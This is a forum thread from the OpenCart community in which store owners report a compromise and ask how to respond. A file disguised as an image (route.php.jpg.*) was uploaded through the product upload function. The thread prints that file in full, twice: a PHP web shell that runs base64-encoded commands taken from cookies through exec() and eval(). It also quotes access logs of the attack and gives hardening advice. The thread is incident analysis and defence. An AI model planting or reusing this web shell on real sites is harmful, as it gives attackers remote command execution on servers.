Post by gjanezic » Wed Mar 27, 2013 10:37 pm

We had a file called route.php.jpg.* in multiple opencart stores.
Content:

Code: Select all

$ cat route.php.jpg.4d0a6ff31f71cc20ab9d572bdfcdb7a0 
<?php
	echo "$#@&\n\n";

	if(isset($_COOKIE['76027405']) && !empty($_COOKIE['76027405'])) {
		echo htmlentities((string) base64_decode($_COOKIE['76027405']),ENT_QUOTES);
		echo "<pre>";
		$outbuf="";$outstr="";exec(base64_decode($_COOKIE['76027405']),$outbuf);foreach($outbuf as $val) $outstr.=$val."\r\n";echo htmlentities($outstr);
	} elseif(isset($_COOKIE['26312595']) && !empty($_COOKIE['26312595'])) {
		echo htmlentities((string) base64_decode($_COOKIE['26312595']),ENT_QUOTES);
		echo "<pre>"; 
		eval((string) base64_decode($_COOKIE['26312595']));
	} elseif(isset($_COOKIE['13037085'])) {
		phpinfo();
	}

?>
Is it a bug/exploit? How serious is this?

Newbie

Posts

Joined
Thu Aug 11, 2011 7:06 am

Post by justinesmithies » Thu Mar 28, 2013 2:53 am

We too have this in our downloads folder.

What is this ???

Code: Select all

<?php
	echo "$#@&\n\n";

	if(isset($_COOKIE['76027405']) && !empty($_COOKIE['76027405'])) {
		echo htmlentities((string) base64_decode($_COOKIE['76027405']),ENT_QUOTES);
		echo "<pre>";
		$outbuf="";$outstr="";exec(base64_decode($_COOKIE['76027405']),$outbuf);foreach($outbuf as $val) $outstr.=$val."\r\n";echo htmlentities($outstr);
	} elseif(isset($_COOKIE['26312595']) && !empty($_COOKIE['26312595'])) {
		echo htmlentities((string) base64_decode($_COOKIE['26312595']),ENT_QUOTES);
		echo "<pre>"; 
		eval((string) base64_decode($_COOKIE['26312595']));
	} elseif(isset($_COOKIE['13037085'])) {
		phpinfo();
	}

?>

User avatar

Posts

Joined
Sun Dec 23, 2012 5:31 am

Post by gjanezic » Thu Mar 28, 2013 3:05 am

There is also a binary file aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*.jpg.*,
and access.log witch proves that the files were executed:

access_fotoplanet.log.2:31.44.188.140 - - [25/Mar/2013:04:47:23 +0000] "POST /index.php?route=product/product/upload HTTP/1.1" 200 172 "-" "Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20100101 Firefox/15.0.1"
access_fotoplanet.log.2:31.44.188.140 - - [25/Mar/2013:04:47:23 +0000] "GET /download/route.php.jpg.eaf460cef6e0a24bda8a1fcbc5df37a2 HTTP/1.1" 200 631 "-" "Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20100101 Firefox/15.0.1"
access_fotoplanet_php.log.2:31.44.188.140 - - [25/Mar/2013:04:47:23 +0000] "POST /index.php?route=product/product/upload HTTP/1.0" 200 136 "-" "Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20100101 Firefox/15.0.1"
access_fotoplanet_php.log.2:31.44.188.140 - - [25/Mar/2013:04:47:23 +0000] "GET /download/route.php.jpg.eaf460cef6e0a24bda8a1fcbc5df37a2 HTTP/1.0" 200 631 "-" "Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20100101 Firefox/15.0.1"

All requests are coming from IP 31.44.188.140.
Last edited by gjanezic on Thu Mar 28, 2013 3:06 am, edited 1 time in total.

Newbie

Posts

Joined
Thu Aug 11, 2011 7:06 am

Post by JNeuhoff » Thu Mar 28, 2013 3:06 am

That means your server got hacked and/or compromised!

Export/Import Tool * SpamBot Buster * Unused Images Manager * Instant Option Price Calculator * Number Option * Google Tag Manager * Survey Plus * OpenTwig


User avatar
Guru Member

Posts

Joined
Wed Dec 05, 2007 3:38 am


Post by justinesmithies » Thu Mar 28, 2013 3:14 am

Thanx your right the same i.p. too.

Away to block 31.44.188.140

User avatar

Posts

Joined
Sun Dec 23, 2012 5:31 am

Post by gjanezic » Fri Mar 29, 2013 4:52 pm

Are you guys serious?
There is a executable file which contains strange htmlentities() and eval() stuff
and was uploaded from some Russian IP... and nobody gives a fuck?

Newbie

Posts

Joined
Thu Aug 11, 2011 7:06 am

Post by MarketInSG » Fri Mar 29, 2013 10:22 pm

they uploaded through your upload function. You didn't give a strong enough encryption key which makes it easier for them to trace back to the file names and execute it. just give a strong key or disable product page file upload function in the controller file


User avatar
Guru Member

Posts

Joined
Wed Nov 16, 2011 11:53 am
Location - Singapore

Post by Calcite » Fri Mar 29, 2013 11:03 pm

Guys,

A site I manage has the same problem.

I could do with a little more help to secure it.

1 Could you please elaborate on how to disable the upload function in the controller file?

2 Which encryption key? If it is the key in Settings Server mine is 26 characters, is that too small?

3. Any other places/files to check for compromise? I assume I should change admin and .htaccess passwords/users names, and should I change the DB_PASSWORD in config files?

4. Is there a way to block ranges of IP's from countries I don't sell to, and is that advisable, i.e. I have two persistent "robots" from China and Japan on the site every day?

Any other advice appreciated.

TIA

Active Member

Posts

Joined
Fri Dec 30, 2011 3:21 am

Post by butte » Sat Mar 30, 2013 3:00 am

(1) Ranges of addresses can be blocked in .htaccess, yes. Steel yourself, then Search here for .htaccess, then look also consider looking at Apache.org itself for extensive documentation.

(2) Report that specific address to your server's support, they can block it system wide.

(3) In your hosting control panel, password the admin/ (sub)directory, so that there's a dual challenge, the server's and the OC admin panel's, for access to the log-in screen. Minor inconvenience, consider increase in security.

(4) Set the encryption key for typically 64, 128, 256 digits (fewer will work) of alphanumeric gibberish.

(5) Delete those files. Executable .jpg (and .png, etc.) files are themselves an immediate flag that they are bad. Images do not "execute" except in .gif and .png animations (and more sophisticated counterparts), which perforce amble through a stack or sequence of frame differences. If that happens on your own local machine, ensure that they are deleted (empty the Recycle Bin or Trash, flush the anti-whateverware vaults). On a server, deleting them will pretty well kill them dead-dead.

(6) Require strict (such as preassigned) registration for uploading, and password affected (sub)directories the same way as the admin/ (sub)directory, for some semblance of peace of mind. Uploading from the public is an inherent vulnerability. Check it frequently for bad files. Make them request a user/pass combination, daily, weekly, whatever won't drive you nuts. Whatever they're being allowed to upload, think through whether you really want them to be able to do that.

(7) Changing mission-critical usernames and passwords is a standard precaution. Be sure that they are properly encrypted (Apache itself and reliable others provide encryption executables, *.exe). Be sure to have a reference text or piece of paper for the time when you've, um, forgotten your, um, keys.

(8) Yes, there is more, but let's pause there.

Guru Member

Posts

Joined
Wed Mar 20, 2013 6:58 am

Post by Calcite » Sat Mar 30, 2013 4:15 am

Thanks for the reply.

1 Have blocked range using .htaccess

2 Will do

3. Have had that set up long before hack but will change both sets of usernames and passwords.

4. OK - Done.

5. Have deleted the offender and can't find any other dodgy looking files.

6. Don't see any way of setting uploading in OC admin and I have downloads disabled. Can't really understand how they got the file uploaded? Have I missed out a setting somewhere that will stop uploading?

Still not sure how to implement what MArketIN SG suggested
disable product page file upload function in the controller file

Active Member

Posts

Joined
Fri Dec 30, 2011 3:21 am

Post by butte » Sat Mar 30, 2013 5:01 am

There are other ways in.

Hackers perform electronically the same office (or role) that robbers and burglars and worse do walking around in person. You can't merely lock all the doors and keep them shut with contractors' glue. The only reasonably complete security is had by letting only yourself into a machine and never ever letting it out of your sight (they don't do too well in showers) and sleeping with it alarmed beside or under you. Not practical. In attractive servers' instances an army is required to man the fort against even one attacker. There are ordinarily at least four attack attempts per minute around the clock.

He told you a way to eliminate visible access to the upload portal. You would also want to nullify references to "upload" in the language files, etc.. That would still not dispense with what hackers can do. Mercifully, most hackers are not as bright as the few.

Guru Member

Posts

Joined
Wed Mar 20, 2013 6:58 am

Post by Calcite » Sat Mar 30, 2013 5:17 am

Yes I realise that nothing is impenetrable :) however would like someone to tell me how to disable the product page upload function.

Active Member

Posts

Joined
Fri Dec 30, 2011 3:21 am

Post by rph » Sat Mar 30, 2013 5:58 am

Can the people who are effected confirm whether they're using OpenCart 1.5.2.1 or earlier?

-Ryan


rph
Expert Member

Posts

Joined
Fri Jan 08, 2010 5:05 am
Location - Lincoln, Nebraska

Post by Calcite » Sat Mar 30, 2013 6:05 am

No,I'm on 1.5.4.1

Active Member

Posts

Joined
Fri Dec 30, 2011 3:21 am

Post by rph » Sat Mar 30, 2013 6:27 am

Did you upgrade from a previous version? Are you on a Windows server?

-Ryan


rph
Expert Member

Posts

Joined
Fri Jan 08, 2010 5:05 am
Location - Lincoln, Nebraska

Post by MarketInSG » Sat Mar 30, 2013 6:35 am

the issue should stop at 1.5.4.1. They just need to have a more secure encryption key unlike 12345. That will make it unable to decrypt the actual filepath to the file the user uploaded via the upload function in product.php. Alternatively, just move your download folder to something more secure. They won't ever find it then, so they can't run any codes.

Therefore,

1. If you are not using file upload for customers, prevent upload by modifying product.php
2. Change your download directory. Instead of naming it 'download', try 'mydownloads' or something different.


User avatar
Guru Member

Posts

Joined
Wed Nov 16, 2011 11:53 am
Location - Singapore

Post by butte » Sat Mar 30, 2013 7:16 am

The "12345" can and ought be changed manually, in the box where it appears as the original default, to 32, 64, etc., digits of alphanumeric complete gibberish. The default example "12345" was not intended to be an unpatterned key (LOOK at it, would that be a serious default key sitting in an editable box with expectation that it can't or shan't be changed?). An example of complete gibberish would likely have been confusing to some. (That sort of thing is why readme files are offered, notwithstanding this particular non-problem.) Change, Save.

To the extent that up- and downloading directories' own names should not matter to anyone but the machine that's the one looking for them (there's no compelling reason to display them, and they can be kept out of the address bar), they can be given gibberish names. That can be done to the proverbial nines in Apache, in files that most people cannot access on servers, by setting Aliases providing no hint as to where aliased directories actually are (that has been done since even before hiding cgi or bin became a self-evident necessity).

Guru Member

Posts

Joined
Wed Mar 20, 2013 6:58 am

Post by Cleo » Sat Mar 30, 2013 8:41 am

I'm on v.1.5.4 updated from v1.5.2 and after seeing this thread I went to check my folders and I had those 2 files which I deleted, then I block access to the download folder in crawlprotect

Cleo

Opencart v1.5.4.1 fr/en
Theme: Custom
vqmod-2.6.0
PHP: 7.3 (ea-php73)


User avatar
Active Member

Posts

Joined
Wed Mar 09, 2011 5:19 am

Post by gjanezic » Sat Mar 30, 2013 3:38 pm

I had 6 effected stores, all version 1.5.1.3.
All of them used different 36 char long strings for encryption keys (generated with uuid()),
I really doubt anyone could guess the key.

However I also have a store version 1.5.4, which did have the same files,
but access.log said the 'hacked' could not access them:

Code: Select all

access_smartclick.log.5:31.44.188.140 - - [25/Mar/2013:20:01:05 +0000] "POST /index.php?route=product/product/upload HTTP/1.1" 200 196 "-" "Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20100101 Firefox/15.0.1"
access_smartclick.log.5:31.44.188.140 - - [25/Mar/2013:20:01:05 +0000] "GET /download/route.php.jpg.4d0a6ff31f71cc20ab9d572bdfcdb7a0 HTTP/1.1" 404 13398 "-" "Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20100101 Firefox/15.0.1"
access_smartclick_php.log.5:31.44.188.140 - - [25/Mar/2013:20:01:05 +0000] "POST /index.php?route=product/product/upload HTTP/1.0" 200 160 "-" "Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20100101 Firefox/15.0.1"
access_smartclick_php.log.5:31.44.188.140 - - [25/Mar/2013:20:01:05 +0000] "GET /download/route.php.jpg.4d0a6ff31f71cc20ab9d572bdfcdb7a0 HTTP/1.0" 404 13385 "-" "Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20100101 Firefox/15.0.1"
Probably due to .htaccess roule:
RewriteRule ^download/(.*) /index.php?route=error/not_found [L]

Hope it helps.

Newbie

Posts

Joined
Thu Aug 11, 2011 7:06 am

Post by Calcite » Sat Mar 30, 2013 6:10 pm

rph wrote:Did you upgrade from a previous version? Are you on a Windows server?
Site was a fresh install 1.5.4.1 on an Apache server.

The encryption key was 26 alphanumeric characters.

After reading the replies I have renamed the download folder, I assume that if I am not offering downloads it is not use anyway so can be renamed to anything?

Active Member

Posts

Joined
Fri Dec 30, 2011 3:21 am
Who is online

Users browsing this forum: Ahrefs [Bot] and 15 guests